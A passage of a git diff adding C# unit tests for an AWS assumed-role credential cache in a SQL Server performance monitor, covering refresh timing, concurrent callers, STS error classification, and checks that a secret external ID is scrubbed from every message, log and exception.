+            await credentials.GetCredentialsAsync();
+            clock.Advance(TimeSpan.FromMinutes(30));
+            await credentials.GetCredentialsAsync();
+            Assert.Equal(1, sts.Calls);
+            clock.Advance(TimeSpan.FromMinutes(-30));
+        }
+    }
+
+    [Fact]
+    public void TheRefreshPointIsNeverSoonerThanTheMinimumIntervalAfterReceipt()
+    {
+        var received = new DateTimeOffset(2026, 10, 7, 12, 0, 0, TimeSpan.Zero);
+
+        Assert.Equal(received.AddMinutes(45), AwsAssumedRoleCredentials.RefreshPointFor(received, received.AddHours(1)));
+        Assert.Equal(received.AddMinutes(1), AwsAssumedRoleCredentials.RefreshPointFor(received, received.AddMinutes(5)));
+        Assert.Equal(received.AddMinutes(1), AwsAssumedRoleCredentials.RefreshPointFor(received, received.AddSeconds(10)));
+    }
+
+    /* ---- serving without blocking ------------------------------------------------------------------------ */
+
+    [Fact]
+    public async Task PastTheRefreshPoint_OneCallerRefreshes_AndTheOthersKeepUsingTheValidCredentials()
+    {
+        var clock = new ManualTimeProvider();
+        var release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var entered = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var blockNext = false;
+        var sts = new FakeSts(async (_, _) =>
+        {
+            if (blockNext)
+            {
+                entered.TrySetResult();
+                await release.Task;
+                return FakeSts.Grant("second-token");
+            }
+
+            return FakeSts.Grant("first-token");
+        });
+        var credentials = Make(sts, clock);
+
+        var first = await credentials.GetCredentialsAsync();
+        Assert.Equal("first-token", first.Token);
+
+        clock.Advance(TimeSpan.FromMinutes(50));
+        blockNext = true;
+        var refresher = credentials.GetCredentialsAsync();
+        await entered.Task.WaitAsync(TimeSpan.FromSeconds(10));
+
+        /* The refresh is in flight and holds the gate: these must come back at once, with the old credentials. */
+        var served = await Task.WhenAll(Enumerable.Range(0, 5).Select(_ => credentials.GetCredentialsAsync()))
+            .WaitAsync(TimeSpan.FromSeconds(5));
+        Assert.All(served, c => Assert.Equal("first-token", c.Token));
+        Assert.False(refresher.IsCompleted);
+
+        release.SetResult();
+        Assert.Equal("second-token", (await refresher).Token);
+        Assert.Equal(2, sts.Calls);
+    }
+
+    [Fact]
+    public async Task ACallerWithNothingValid_WaitsForTheRefresh_AndSharesItsAnswer()
+    {
+        var release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var sts = new FakeSts(async (_, _) =>
+        {
+            await release.Task;
+            return FakeSts.Grant();
+        });
+        var credentials = Make(sts, new ManualTimeProvider());
+
+        var callers = Enumerable.Range(0, 4).Select(_ => credentials.GetCredentialsAsync()).ToList();
+        await Task.Delay(100);
+        Assert.All(callers, c => Assert.False(c.IsCompleted));
+
+        release.SetResult();
+        await Task.WhenAll(callers).WaitAsync(TimeSpan.FromSeconds(10));
+        Assert.Equal(1, sts.Calls);
+    }
+
+    /* ---- what is sent -------------------------------------------------------------------------------------- */
+
+    [Fact]
+    public async Task TheRequest_CarriesTheRole_AnHourOfDuration_AndTheSessionName()
+    {
+        var sts = new FakeSts();
+        var credentials = Make(sts, new ManualTimeProvider(), installId: () => "0123abcd-4567-89ef-0123-456789abcdef");
+
+        await credentials.GetCredentialsAsync();
+
+        var request = Assert.Single(sts.Requests);
+        Assert.Equal(Role, request.RoleArn);
+        Assert.Equal(3600, request.DurationSeconds);
+        Assert.Equal("darling-0123abcd4567", request.RoleSessionName);
+        Assert.Null(request.ExternalId);
+    }
+
+    [Fact]
+    public async Task TheExternalId_IsSentOnlyWhenSet()
+    {
+        var withId = new FakeSts();
+        await Make(withId, new ManualTimeProvider(), Sentinel).GetCredentialsAsync();
+        Assert.Equal(Sentinel, Assert.Single(withId.Requests).ExternalId);
+
+        var blank = new FakeSts();
+        await Make(blank, new ManualTimeProvider(), externalId: string.Empty).GetCredentialsAsync();
+        Assert.Null(Assert.Single(blank.Requests).ExternalId);
+    }
+
+    [Fact]
+    public async Task TheStsClientIsGivenASnapshotOfTheSourceCredentials()
+    {
+        var sts = new FakeSts();
+        await Make(sts, new ManualTimeProvider()).GetCredentialsAsync();
+
+        var seen = Assert.Single(sts.SourceCredentialsSeen);
+        Assert.Equal("AKIAEXAMPLESOURCE", seen.AccessKey);
+        Assert.Equal("example-source-secret", seen.SecretKey);
+    }
+
+    [Theory]
+    [InlineData("0123abcd-4567-89ef-0123-456789abcdef", "darling-0123abcd4567")]
+    [InlineData("0123ABCD456789EF0123456789ABCDEF", "darling-0123abcd4567")]
+    [InlineData("  0123abcd-4567-89ef-0123-456789abcdef  ", "darling-0123abcd4567")]
+    [InlineData("0a1b2c3d", "darling-0a1b2c3d")]
+    [InlineData("0A1B2C3D", "darling-0a1b2c3d")]
+    [InlineData(null, "darling-collector")]
+    [InlineData("", "darling-collector")]
+    [InlineData("abc", "darling-collector")]
+    [InlineData("0a1b2c3", "darling-collector")]
+    [InlineData("not-a-hex-install-id-at-all", "darling-collector")]
+    public void SessionName_IsDarlingAndTheInstallIdsHexDigits_OrTheFallback(string? installId, string expected)
+    {
+        var name = AwsAssumedRoleCredentials.SessionNameFor(installId);
+
+        Assert.Equal(expected, name);
+        Assert.Matches(new Regex(@"^[\w+=,.@-]{2,64}$"), name);
+    }
+
+    /* ---- the region of the call that triggers a refresh --------------------------------------------------- */
+
+    [Fact]
+    public async Task ARefresh_CallsStsInTheRegionOfTheCallThatTriggeredIt()
+    {
+        var clock = new ManualTimeProvider();
+        var sts = new FakeSts();
+        var credentials = Make(sts, clock);
+
+        await credentials.ForRegion(RegionEndpoint.GetBySystemName("eu-west-1")).GetCredentialsAsync();
+        clock.Advance(TimeSpan.FromMinutes(50));
+        await credentials.ForRegion(RegionEndpoint.GetBySystemName("ap-southeast-2")).GetCredentialsAsync();
+
+        Assert.Equal(new[] { "eu-west-1", "ap-southeast-2" }, sts.Regions);
+    }
+
+    [Theory]
+    [InlineData("us-east-1", "https://sts.us-east-1.amazonaws.com")]
+    [InlineData("cn-north-1", "https://sts.cn-north-1.amazonaws.com.cn")]
+    [InlineData("us-gov-west-1", "https://sts.us-gov-west-1.amazonaws.com")]
+    public void TheStsClientConfig_PointsAtTheRegionalEndpointOfTheTargetsOwnPartition(string region, string expectedUrl)
+    {
+        var config = AwsAssumedRoleCredentials.CreateStsConfig(RegionEndpoint.GetBySystemName(region));
+
+        var endpoint = config.DetermineServiceOperationEndpoint(new ServiceOperationEndpointParameters(new AssumeRoleRequest()));
+
+        Assert.StartsWith(expectedUrl, endpoint.URL, StringComparison.Ordinal);
+        Assert.Equal(AwsAssumedRoleCredentials.StsTimeout, config.Timeout);
+        Assert.Equal(AwsAssumedRoleCredentials.StsMaxErrorRetry, config.MaxErrorRetry);
+    }
+
+    /* ---- failure ------------------------------------------------------------------------------------------- */
+
+    [Fact]
+    public async Task AFailedRefresh_IsRememberedForAMinute_AndEachThrowIsANewException()
+    {
+        var clock = new ManualTimeProvider();
+        var sts = new FakeSts((_, _) => throw FakeSts.Error("AccessDenied", "User is not authorized to perform: sts:AssumeRole"));
+        var credentials = Make(sts, clock);
+
+        var first = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+        var second = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+        var third = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+
+        Assert.Equal(1, sts.Calls);
+        Assert.NotSame(first, second);
+        Assert.NotSame(second, third);
+        Assert.Equal(first.Message, second.Message);
+        Assert.Equal(AwsRoleAssumeKind.Denied, second.Kind);
+        Assert.Equal("AccessDenied", second.SourceErrorCode);
+
+        clock.Advance(TimeSpan.FromSeconds(61));
+        await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+        Assert.Equal(2, sts.Calls);
+    }
+
+    [Fact]
+    public async Task WhileAFailureIsRemembered_OldCredentialsWithMoreThanAMinuteLeftAreServed()
+    {
+        var clock = new ManualTimeProvider();
+        var logger = new CapturingAwsLogger();
+        var sts = new FakeSts();
+        var credentials = Make(sts, clock, logger: logger);
+        await credentials.GetCredentialsAsync();
+
+        sts.Handler = (_, _) => throw FakeSts.Error("Throttling", "Rate exceeded");
+
+        /* Past the refresh point with ten minutes left: the refresh fails, the old credentials are served, and the failure is only logged. */
+        clock.Advance(TimeSpan.FromMinutes(50));
+        Assert.Equal("ASIAEXAMPLEASSUMED", (await credentials.GetCredentialsAsync()).AccessKey);
+        Assert.Equal(2, sts.Calls);
+        Assert.Contains("Warning", logger.All, StringComparison.Ordinal);
+
+        /* Inside the minute of the remembered failure there is no new STS call. */
+        clock.Advance(TimeSpan.FromSeconds(30));
+        Assert.Equal("ASIAEXAMPLEASSUMED", (await credentials.GetCredentialsAsync()).AccessKey);
+        Assert.Equal(2, sts.Calls);
+
+        /* The failure has expired and the credentials have under a minute left: a new attempt, which fails, and the failure is thrown. */
+        clock.Advance(TimeSpan.FromMinutes(8) + TimeSpan.FromSeconds(45));
+        var thrown = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+        Assert.Equal(AwsRoleAssumeKind.Transient, thrown.Kind);
+        Assert.Equal(3, sts.Calls);
+
+        /* And the next throw, from the remembered failure, is a new exception with no new call. */
+        clock.Advance(TimeSpan.FromSeconds(20));
+        var again = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+        Assert.NotSame(thrown, again);
+        Assert.Equal(thrown.Message, again.Message);
+        Assert.Equal(3, sts.Calls);
+    }
+
+    [Fact]
+    public async Task ARememberedFailure_BelongsToItsRegion()
+    {
+        var sts = new FakeSts((_, _) => throw FakeSts.Error("RegionDisabledException", "STS is not active"));
+        var credentials = Make(sts, new ManualTimeProvider());
+
+        await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.ForRegion(RegionEndpoint.EUSouth1).GetCredentialsAsync());
+        await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.ForRegion(RegionEndpoint.EUSouth1).GetCredentialsAsync());
+        Assert.Equal(1, sts.Calls);
+
+        sts.Handler = (_, _) => Task.FromResult(FakeSts.Grant());
+        var other = await credentials.ForRegion(RegionEndpoint.USEast1).GetCredentialsAsync();
+        Assert.Equal("ASIAEXAMPLEASSUMED", other.AccessKey);
+        Assert.Equal(2, sts.Calls);
+    }
+
+    [Theory]
+    [InlineData("AccessDenied", AwsRoleAssumeKind.Denied, true)]
+    [InlineData("RegionDisabledException", AwsRoleAssumeKind.RegionDisabled, true)]
+    [InlineData("ExpiredToken", AwsRoleAssumeKind.SourceCredentials, false)]
+    [InlineData("InvalidClientTokenId", AwsRoleAssumeKind.SourceCredentials, false)]
+    [InlineData("SignatureDoesNotMatch", AwsRoleAssumeKind.SourceCredentials, false)]
+    [InlineData("Throttling", AwsRoleAssumeKind.Transient, false)]
+    [InlineData("ServiceUnavailable", AwsRoleAssumeKind.Transient, false)]
+    public async Task EachStsErrorCode_BecomesItsKind(string code, AwsRoleAssumeKind kind, bool isConfiguration)
+    {
+        var sts = new FakeSts((_, _) => throw FakeSts.Error(code, "raw message from AWS"));
+
+        var ex = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => Make(sts, new ManualTimeProvider(), Sentinel).GetCredentialsAsync());
+
+        Assert.Equal(kind, ex.Kind);
+        Assert.Equal(isConfiguration, ex.IsConfiguration);
+        Assert.Equal(Role, ex.RoleArn);
+        Assert.True(ex.ExternalIdSet);
+        Assert.Equal(code, ex.SourceErrorCode);
+        Assert.Contains(Role, ex.Message, StringComparison.Ordinal);
+        Assert.Null(ex.InnerException);
+        Assert.Contains("AmazonSecurityTokenServiceException", ex.SourceExceptionType, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ARegionDisabledExceptionType_IsRegionDisabled_WhateverItsCode()
+    {
+        var sts = new FakeSts((_, _) => throw new RegionDisabledException("STS is off here"));
+
+        var ex = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => Make(sts, new ManualTimeProvider()).GetCredentialsAsync());
+
+        Assert.Equal(AwsRoleAssumeKind.RegionDisabled, ex.Kind);
+        Assert.Contains("us-east-1", ex.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheDeniedText_SaysWhetherAnExternalIdWasSet_AndNeverTheValue()
+    {
+        var sts = new FakeSts((_, _) => throw FakeSts.Error("AccessDenied", "denied"));
+
+        var withId = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => Make(sts, new ManualTimeProvider(), Sentinel).GetCredentialsAsync());
+        var withoutId = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => Make(sts, new ManualTimeProvider()).GetCredentialsAsync());
+
+        Assert.Contains("(with the external ID set on this server)", withId.Message, StringComparison.Ordinal);
+        Assert.Contains("(without an external ID)", withoutId.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(Sentinel, withId.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AHostWithNoCredentials_IsNoSourceIdentity_AndStsIsNeverCalled()
+    {
+        var sts = new FakeSts();
+        var credentials = Make(sts, new ManualTimeProvider(), source: _ => throw new AmazonClientException("Unable to get IAM security credentials"));
+
+        var ex = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+
+        Assert.Equal(AwsRoleAssumeKind.NoSourceIdentity, ex.Kind);
+        Assert.False(ex.IsConfiguration);
+        Assert.Contains("The monitoring host has no AWS credentials to assume role " + Role + " with.", ex.Message, StringComparison.Ordinal);
+        Assert.Equal(0, sts.Calls);
+    }
+
+    [Fact]
+    public async Task ANoSourceIdentityMessage_IsAFixedSentence_WithTheSdkTypeAndCodeOnly_AndTheSdkTextGoesToTheServiceLog()
+    {
+        var logger = new CapturingAwsLogger();
+        var sts = new FakeSts();
+        var credentials = Make(sts, new ManualTimeProvider(), logger: logger, source: _ => throw new AmazonServiceException(
+            @"The profile 'corp-sso' could not be found in C:\Users\svc\.aws\credentials; SSO cache C:\Users\svc\.aws\sso\cache failed",
+            null, System.Net.HttpStatusCode.Forbidden)
+        { ErrorCode = "ProfileNotFound" });
+
+        var ex = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+
+        Assert.Equal(AwsRoleAssumeKind.NoSourceIdentity, ex.Kind);
+        Assert.Contains("(SDK exception Amazon.Runtime.AmazonServiceException, AWS error code ProfileNotFound)", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("corp-sso", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(".aws", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("svc", ex.Message, StringComparison.Ordinal);
+        Assert.Contains("corp-sso", ex.SourceDetail, StringComparison.Ordinal);
+        Assert.Contains("corp-sso", logger.All, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ATransientMessage_IsAFixedSentence_WithTheSdkTypeAndCodeOnly()
+    {
+        var sts = new FakeSts((_, _) => throw new AmazonServiceException(
+            @"Unable to reach http://169.254.170.2/v2/credentials/abc from C:\ProgramData\aws\config",
+            null, System.Net.HttpStatusCode.ServiceUnavailable)
+        { ErrorCode = "ServiceUnavailable" });
+        var credentials = Make(sts, new ManualTimeProvider());
+
+        var ex = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+
+        Assert.Equal(AwsRoleAssumeKind.Transient, ex.Kind);
+        Assert.Contains("(SDK exception Amazon.Runtime.AmazonServiceException, AWS error code ServiceUnavailable)", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("169.254", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("ProgramData", ex.Message, StringComparison.Ordinal);
+        Assert.Contains("169.254.170.2", ex.SourceDetail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ACredentialSourceThatNeverCompletes_FailsWithinTheDeadline_AndASecondCallerFailsWithinTheSameBound()
+    {
+        var sts = new FakeSts();
+        var credentials = Make(sts, new ManualTimeProvider(), deadline: TimeSpan.FromMilliseconds(200),
+            source: _ => new TaskCompletionSource<AWSCredentials>().Task);
+
+        var first = Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+        var second = Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+
+        var firstFailure = await first.WaitAsync(TimeSpan.FromSeconds(10));
+        var secondFailure = await second.WaitAsync(TimeSpan.FromSeconds(10));
+
+        Assert.Equal(AwsRoleAssumeKind.Transient, firstFailure.Kind);
+        Assert.Contains("did not answer within", firstFailure.Message, StringComparison.Ordinal);
+        Assert.Equal(AwsRoleAssumeKind.Transient, secondFailure.Kind);
+        Assert.Equal(0, sts.Calls);
+    }
+
+    [Fact]
+    public async Task ASlowSts_IsCutOffAtTheDeadline_AndIsATransientFailure()
+    {
+        var sts = new FakeSts(async (_, token) =>
+        {
+            await Task.Delay(Timeout.Infinite, token);
+            return FakeSts.Grant();
+        });
+        var credentials = Make(sts, new ManualTimeProvider(), deadline: TimeSpan.FromMilliseconds(100));
+
+        var ex = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync()).WaitAsync(TimeSpan.FromSeconds(10));
+
+        Assert.Equal(AwsRoleAssumeKind.Transient, ex.Kind);
+        Assert.Contains("did not answer within", ex.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ACallerWhoCancels_GetsTheCancellation_NotARememberedFailure()
+    {
+        var sts = new FakeSts(async (_, token) =>
+        {
+            await Task.Delay(Timeout.Infinite, token);
+            return FakeSts.Grant();
+        });
+        var credentials = Make(sts, new ManualTimeProvider());
+        using var cts = new CancellationTokenSource();
+
+        var pending = credentials.GetCredentialsAsync(UsEast1, cts.Token);
+        await Task.Delay(50);
+        cts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => pending);
+
+        sts.Handler = (_, _) => Task.FromResult(FakeSts.Grant());
+        Assert.Equal("ASIAEXAMPLEASSUMED", (await credentials.GetCredentialsAsync()).AccessKey);
+    }
+
+    [Fact]
+    public async Task AnEmptyResponse_IsATransientFailure()
+    {
+        var sts = new FakeSts((_, _) => Task.FromResult(new AssumeRoleResponse()));
+
+        var ex = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => Make(sts, new ManualTimeProvider()).GetCredentialsAsync());
+
+        Assert.Equal(AwsRoleAssumeKind.Transient, ex.Kind);
+    }
+
+    /* ---- the SDK seam -------------------------------------------------------------------------------------- */
+
+    [Fact]
+    public async Task ARealRdsClientOverTheCredentials_SurfacesTheExceptionToWhoeverWalksTheChain()
+    {
+        var sts = new FakeSts((_, _) => throw FakeSts.Error("AccessDenied", "denied"));
+        var credentials = Make(sts, new ManualTimeProvider(), Sentinel);
+
+        using var rds = new Amazon.RDS.AmazonRDSClient(credentials.ForRegion(UsEast1), UsEast1);
+        var thrown = await Record.ExceptionAsync(() => rds.DescribeDBInstancesAsync(new Amazon.RDS.Model.DescribeDBInstancesRequest()));
+
+        Assert.NotNull(thrown);
+        var found = AwsRoleAssumeException.Find(thrown);
+        Assert.NotNull(found);
+        Assert.Equal(AwsRoleAssumeKind.Denied, found!.Kind);
+        Assert.Equal(1, sts.Calls);
+    }
+
+    [Fact]
+    public void Find_WalksTheInnerChain_AndAnAggregate()
+    {
+        var inner = new AwsRoleCredentialCache(AwsRoleAllowlist.Empty);
+        var thrown = Assert.Throws<AwsRoleAssumeException>(() => inner.For(new AwsRoleKey(Role, null), "us-east-1"));
+
+        Assert.Same(thrown, AwsRoleAssumeException.Find(thrown));
+        Assert.Same(thrown, AwsRoleAssumeException.Find(new InvalidOperationException("wrapped", new InvalidOperationException("twice", thrown))));
+        Assert.Same(thrown, AwsRoleAssumeException.Find(new AggregateException(new InvalidOperationException("a"), new InvalidOperationException("b", thrown))));
+        Assert.Null(AwsRoleAssumeException.Find(new InvalidOperationException("none")));
+        Assert.Null(AwsRoleAssumeException.Find(null));
+    }
+}
diff --git a/Darling/Darling.Tests/AwsExternalIdNeverPrintedTests.cs b/Darling/Darling.Tests/AwsExternalIdNeverPrintedTests.cs
new file mode 100644
index 0000000000..9e28ceff10
--- /dev/null
+++ b/Darling/Darling.Tests/AwsExternalIdNeverPrintedTests.cs
@@ -0,0 +1,240 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using Amazon;
+using Amazon.Runtime;
+using PerformanceMonitor.Darling.Service.Targets;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The external ID of a per-server AWS role is a secret (#5452): it never appears in a message, an exception's text, a
+/// key's text or a log line, whatever the SDK repeats back. Each test builds a fake STS or credential source whose
+/// error text repeats a sentinel ID (as written, URL-encoded and in other case) and then looks for it everywhere the
+/// code under test can put it.
+/// </summary>
+public sealed class AwsExternalIdNeverPrintedTests
+{
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+
+    /// <summary>Uses every character the external ID alphabet allows, so an encoder changes it.</summary>
+    private const string Sentinel = "sent+inel=id,7.4@x:y/z-9";
+
+    private static string Echo(string text) =>
+        $"{text} [request externalId={Sentinel} encoded={Uri.EscapeDataString(Sentinel)} upper={Sentinel.ToUpperInvariant()}]";
+
+    private static void AssertClean(string? text)
+    {
+        Assert.NotNull(text);
+        Assert.DoesNotContain(Sentinel, text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain(Uri.EscapeDataString(Sentinel), text, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("sent+inel", text, StringComparison.OrdinalIgnoreCase);
+    }
+
+    private static void AssertClean(AwsRoleAssumeException ex)
+    {
+        AssertClean(ex.Message);
+        AssertClean(ex.ToString());
+        AssertClean(ex.SourceErrorCode ?? string.Empty);
+        AssertClean(ex.SourceExceptionType ?? string.Empty);
+        AssertClean(ex.SourceDetail ?? string.Empty);
+        AssertClean(ex.StackTrace ?? string.Empty);
+        Assert.Null(ex.InnerException);
+        Assert.Empty(ex.Data);
+    }
+
+    private static AwsAssumedRoleCredentials Make(
+        FakeSts sts, ManualTimeProvider clock, CapturingAwsLogger? logger = null, Func<RegionEndpoint, Task<AWSCredentials>>? source = null) =>
+        new(new AwsRoleKey(Role, Sentinel), RegionEndpoint.USEast1, sts.Factory, source ?? FakeSts.Source, null, clock, null, logger);
+
+    /* ---- the key ------------------------------------------------------------------------------------------- */
+
+    [Fact]
+    public void TheKeysText_NamesTheRole_AndSaysWhetherAnIdIsSet()
+    {
+        var withId = new AwsRoleKey(Role, Sentinel);
+        var withoutId = new AwsRoleKey(Role, null);
+
+        Assert.Equal("AwsRoleKey { RoleArn = " + Role + ", ExternalId = set }", withId.ToString());
+        Assert.Equal("AwsRoleKey { RoleArn = " + Role + ", ExternalId = none }", withoutId.ToString());
+        AssertClean($"{withId}");
+        AssertClean(string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}", withId));
+        AssertClean(new[] { withId }.Select(k => k.ToString()).Single());
+    }
+
+    [Fact]
+    public void TheKeyStillComparesByTheValueOfTheId()
+    {
+        Assert.Equal(new AwsRoleKey(Role, Sentinel), new AwsRoleKey(Role, Sentinel));
+        Assert.NotEqual(new AwsRoleKey(Role, Sentinel), new AwsRoleKey(Role, Sentinel.ToUpperInvariant()));
+        Assert.NotEqual(new AwsRoleKey(Role, Sentinel), new AwsRoleKey(Role, null));
+        Assert.Equal(Sentinel, new AwsRoleKey(Role, Sentinel).ExternalId);
+    }
+
+    /* ---- every failure path -------------------------------------------------------------------------------- */
+
+    [Theory]
+    [InlineData("AccessDenied")]
+    [InlineData("RegionDisabledException")]
+    [InlineData("ExpiredToken")]
+    [InlineData("InvalidClientTokenId")]
+    [InlineData("SignatureDoesNotMatch")]
+    [InlineData("ValidationError")]
+    [InlineData("Throttling")]
+    public async Task AnStsErrorThatRepeatsTheId_LeavesItOutOfEverythingTheCodePrints(string code)
+    {
+        var logger = new CapturingAwsLogger();
+        var sts = new FakeSts((_, _) => throw FakeSts.Error(code, Echo("Request failed for the call")));
+        var credentials = Make(sts, new ManualTimeProvider(), logger);
+
+        var first = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+        var cached = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+
+        AssertClean(first);
+        AssertClean(cached);
+        AssertClean(logger.All);
+        Assert.True(first.ExternalIdSet);
+        Assert.Equal(1, sts.Calls);
+    }
+
+    [Fact]
+    public async Task AnErrorCodeThatRepeatsTheId_IsScrubbedToo()
+    {
+        var sts = new FakeSts((_, _) => throw FakeSts.Error(Echo("InvalidClientTokenId"), "denied"));
+
+        var ex = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => Make(sts, new ManualTimeProvider()).GetCredentialsAsync());
+
+        Assert.Equal(AwsRoleAssumeKind.SourceCredentials, ex.Kind);
+        AssertClean(ex);
+    }
+
+    [Fact]
+    public async Task ASourceFailureThatRepeatsTheId_LeavesItOutOfTheMessage()
+    {
+        var logger = new CapturingAwsLogger();
+        var sts = new FakeSts();
+        var credentials = Make(sts, new ManualTimeProvider(), logger,
+            source: _ => throw new AmazonClientException(Echo("Unable to get credentials")));
+
+        var ex = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => credentials.GetCredentialsAsync());
+
+        Assert.Equal(AwsRoleAssumeKind.NoSourceIdentity, ex.Kind);
+        AssertClean(ex);
+        AssertClean(logger.All);
+    }
+
+    [Fact]
+    public async Task ANonServiceExceptionThatRepeatsTheId_IsScrubbed()
+    {
+        var sts = new FakeSts((_, _) => throw new InvalidOperationException(Echo("socket closed")));
+
+        var ex = await Assert.ThrowsAsync<AwsRoleAssumeException>(() => Make(sts, new ManualTimeProvider()).GetCredentialsAsync());
+
+        Assert.Equal(AwsRoleAssumeKind.Transient, ex.Kind);
+        AssertClean(ex);
+        Assert.Contains("(SDK exception System.InvalidOperationException)", ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("socket closed", ex.Message, StringComparison.Ordinal);
+        Assert.Contains("socket closed", ex.SourceDetail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheCredentialsHandedToAClient_CarryNoIdInTheirText()
+    {
+        var sts = new FakeSts();
+        var credentials = Make(sts, new ManualTimeProvider());
+
+        var granted = await credentials.GetCredentialsAsync();
+
+        AssertClean(credentials.ToString());
+        AssertClean(credentials.ForRegion(RegionEndpoint.USEast1).ToString());
+        Assert.Equal(Sentinel, Assert.Single(sts.Requests).ExternalId);
+        Assert.NotNull(granted);
+    }
+
+    [Fact]
+    public async Task ThroughARealRdsClient_TheExceptionThatReachesTheCaller_IsClean()
+    {
+        var sts = new FakeSts((_, _) => throw FakeSts.Error("AccessDenied", Echo("User is not authorized")));
+        var credentials = Make(sts, new ManualTimeProvider());
+
+        using var rds = new Amazon.RDS.AmazonRDSClient(credentials.ForRegion(RegionEndpoint.USEast1), RegionEndpoint.USEast1);
+        var thrown = await Record.ExceptionAsync(() => rds.DescribeDBInstancesAsync(new Amazon.RDS.Model.DescribeDBInstancesRequest()));
+
+        Assert.NotNull(thrown);
+        AssertClean(thrown!.ToString());
+        AssertClean(thrown.Message);
+        var found = AwsRoleAssumeException.Find(thrown);
+        Assert.NotNull(found);
+        AssertClean(found!);
+    }
+
+    [Fact]
+    public void TheTwoRefusalsThatNeverReachStsAreClean()
+    {
+        var cache = new AwsRoleCredentialCache(AwsRoleAllowlist.Empty);
+        var notAllowed = Assert.Throws<AwsRoleAssumeException>(() => cache.For(new AwsRoleKey(Role, Sentinel), "us-east-1"));
+        AssertClean(notAllowed);
+
+        var allowed = new AwsRoleCredentialCache(AwsRoleAllowlist.From(new[] { "123456789012" }));
+        var mismatch = Assert.Throws<AwsRoleAssumeException>(() => allowed.For(new AwsRoleKey(Role, Sentinel), "cn-north-1"));
+        AssertClean(mismatch);
+        Assert.True(notAllowed.ExternalIdSet);
+        Assert.True(mismatch.ExternalIdSet);
+    }
+
+    [Fact]
+    public void ScrubRemovesEveryFormOfTheId_AndLeavesTextWithoutOneAlone()
+    {
+        Assert.Equal("none here", AwsRoleAssumeException.Scrub("none here", Sentinel));
+        Assert.Equal("anything", AwsRoleAssumeException.Scrub("anything", null));
+        Assert.Equal("anything", AwsRoleAssumeException.Scrub("anything", string.Empty));
+        AssertClean(AwsRoleAssumeException.Scrub(Echo("text"), Sentinel));
+        AssertClean(AwsRoleAssumeException.Scrub("value " + System.Net.WebUtility.HtmlEncode(Sentinel) + " end", Sentinel));
+    }
+
+    /* ---- the worker's own outputs --------------------------------------------------------------------------- */
+
+    private const string InstanceHost = "solo.abc123.us-east-1.rds.amazonaws.com";
+
+    [Theory]
+    [InlineData("AccessDenied")]
+    [InlineData("RegionDisabledException")]
+    [InlineData("ExpiredToken")]
+    [InlineData("Throttling")]
+    public async Task TheWorkersCollectionLogTextAndWarningLine_NeverCarryTheId(string code)
+    {
+        // An STS error that repeats the external ID in its message, driven through the real RDS reader and a real client.
+        var sts = new FakeSts((_, _) => throw FakeSts.Error(code, Echo("denied for role " + Role)));
+        var cacheLog = new CapturingAwsLogger();
+        var cache = new AwsRoleCredentialCache(AwsRoleAllowlist.From(new[] { Role }), null, sts.Factory, FakeSts.Source, new ManualTimeProvider(), null, cacheLog);
+        var ingestor = new RdsCpuIngestor(
+            Npgsql.NpgsqlDataSource.Create("Host=localhost;Port=1;Database=unused"),
+            verifier: RdsEndpointVerifier.ForTests(enforce: true, loginProbe: (_, _) => Task.FromResult<string?>(null)),
